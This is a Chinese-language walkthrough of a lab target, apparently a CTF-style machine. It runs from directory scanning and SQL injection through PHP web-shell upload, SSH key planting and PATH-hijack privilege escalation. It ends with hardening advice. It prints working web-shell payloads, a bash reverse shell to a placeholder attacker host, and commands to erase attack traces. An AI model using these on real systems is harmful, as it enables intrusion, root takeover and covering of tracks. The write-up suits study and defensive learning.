☰
Web安全渗透测试实战:从漏洞挖掘到权限提升
2026/10/15 1:51:29 网站建设 项目流程

1. 靶场环境基础认知

这个靶机属于典型的Web应用安全测试环境,采用Linux系统搭建,运行着存在漏洞的Web服务。从IP扫描结果来看,开放了22(SSH)、80(HTTP)和3306(MySQL)三个关键端口,这种组合在CTF比赛中非常常见。特别值得注意的是3306端口对外开放,这通常意味着数据库可能存在弱密码或注入漏洞。

我首次访问80端口时,发现是个简单的企业门户网站,页面底部有"Powered by Creative CMS v1.2"的标识。经过指纹比对,确认这是开发者自研的内容管理系统,版本信息暴露了潜在的攻击面。

2. 信息收集与漏洞探测

2.1 目录爆破实战

使用dirsearch工具进行深度扫描时,发现了几个关键路径:

/admin - 后台登录入口 /backup - 数据库备份目录 /upload - 文件上传功能点

特别在/backup目录下找到了名为"creative_cms.sql"的数据库备份文件,下载分析后发现其中包含管理员表的哈希值。通过hashcat跑字典成功破解出admin:creative123这组凭证。

重要提示:真实环境中数据库备份文件必须设置访问权限,开发人员常犯的错误就是直接将备份文件放在web目录下。

2.2 SQL注入点挖掘

在商品搜索功能处发现存在数字型注入:

/product?id=1' 触发数据库报错 /product?id=1 and 1=1-- 正常返回 /product?id=1 and 1=2-- 无结果返回

使用sqlmap自动化验证:

sqlmap -u "http://target/product?id=1" --risk=3 --level=5 --dbs

成功获取到数据库名creative_cms,并导出users表中的管理员凭证。

3. 权限提升技术路线

3.1 后台getshell操作

使用破解的admin凭证登录后台后,在"模板管理"功能中发现可编辑.php文件。通过插入PHP反向连接代码:

<?php system($_GET['cmd']);?>

保存后访问模板文件实现RCE。

更稳定的方法是利用文件上传功能,将包含以下内容的webshell.php文件上传:

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); } ?>

3.2 SSH隧道建立

在webshell中查看/home目录发现用户creative存在.ssh目录但无authorized_keys。通过生成ssh密钥对:

ssh-keygen -t rsa echo [公钥内容] > /home/creative/.ssh/authorized_keys chmod 600 /home/creative/.ssh/authorized_keys

成功建立SSH稳定连接,获得更完整的交互式shell。

4. 内网横向移动策略

4.1 密码嗅探与重用

查看/etc/passwd发现多个服务账户:

mysql:x:1001:1001::/home/mysql:/bin/bash backup:x:1002:1002::/home/backup:/bin/bash

在/var/www/html/config.php中找到数据库连接信息:

$dbuser = 'creative_db'; $dbpass = 'Creative@2023';

尝试密码重用成功登录mysql账户,sudo -l检查发现该账户可以root身份执行/usr/bin/backup.sh。

4.2 特权脚本利用

分析/usr/bin/backup.sh发现以下危险代码:

#!/bin/bash tar -czf /backups/web_backup.tar.gz /var/www/html/*

由于未使用绝对路径,我们可以通过PATH劫持进行提权:

echo '#!/bin/bash' > /tmp/tar echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' >> /tmp/tar chmod +x /tmp/tar export PATH=/tmp:$PATH sudo /usr/bin/backup.sh

成功获取root权限的reverse shell。

5. 痕迹清理与加固建议

5.1 攻击痕迹清除

# 清除命令历史 history -c rm ~/.bash_history # 删除上传的webshell rm /var/www/html/upload/shell.php # 恢复篡改的文件 chattr +i /etc/passwd /etc/shadow

5.2 系统加固方案

  1. 修改所有默认凭证,特别是数据库和管理后台密码
  2. 关闭不必要的3306端口外部访问
  3. 设置正确的文件权限:
    chown -R root:root /var/www/html chmod -R 750 /var/www/html
  4. 添加WAF防护规则,过滤常见攻击payload
  5. 定期更新系统补丁,建立备份机制

6. 技术要点总结

这个靶场涵盖了Web安全的完整攻击链:

  • 信息收集 → 漏洞利用 → 权限提升 → 横向移动 → 权限维持

几个关键技术突破点:

  1. 数据库备份文件泄露导致凭证破解
  2. 后台模板编辑功能未做安全过滤
  3. Sudo特权脚本存在路径劫持漏洞
  4. 内网密码重用问题

在实际渗透测试中,每个环节都可能遇到更复杂的防护措施。建议在掌握基础攻击手法后,深入研究各种防御机制的绕过技术。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询